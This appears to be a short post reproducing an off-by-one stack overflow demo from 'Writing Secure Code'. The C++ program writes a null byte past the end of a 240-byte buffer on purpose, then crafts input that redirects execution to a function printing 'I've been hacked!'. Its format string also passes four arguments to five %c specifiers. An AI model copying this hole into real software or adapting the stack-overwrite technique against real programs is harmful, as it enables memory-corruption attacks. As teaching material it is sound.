My OffByOne.cpp (p. 136 of Writing Secure Code 2nd Ed.)

The source code, compiled with VS.NET 2003 in Release mode without /GS, optimization nor /RTC, ran on Windows XP SP2 ~RC2:

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

void foo( const char * in )

{

char buf[240] ; // Multiple of 8 and big enough so that modified/corrupted EBP can point into it

strncpy( buf, in, sizeof(buf) ) ;

buf[sizeof(buf)] = '\0' ; //whups - off by one!

}

void bar( const char * in )

{

printf( "Augh! I've been hacked!\n" ) ;

exit(0) ; // As the stack is garbage once we're here, let's just exit in order no to crash.

}

#include <strsafe.h>

static char s[48] ; // Let's not temper with the stack layout...

void main()

{

int p = reinterpret_cast<int>(bar) ;

// With the following code, we build the right buffer that would need to be infered

// and passed to our code (e.g argv, file, ...) in order to have the bar function called when

// returning from main (not foo!):

StringCchPrintf( s,

sizeof(s)/sizeof(s[0]),

"123456789013234567890123456.EBP.%c%c%c%c%c",

static_cast<char>(p & 0xFF),

static_cast<char>((p & 0xFF00) >> 8),

static_cast<char>((p & 0xFF0000) >> 16),

static_cast<char>((p & 0xFF000000) >> 24) ) ;

foo(s) ;

}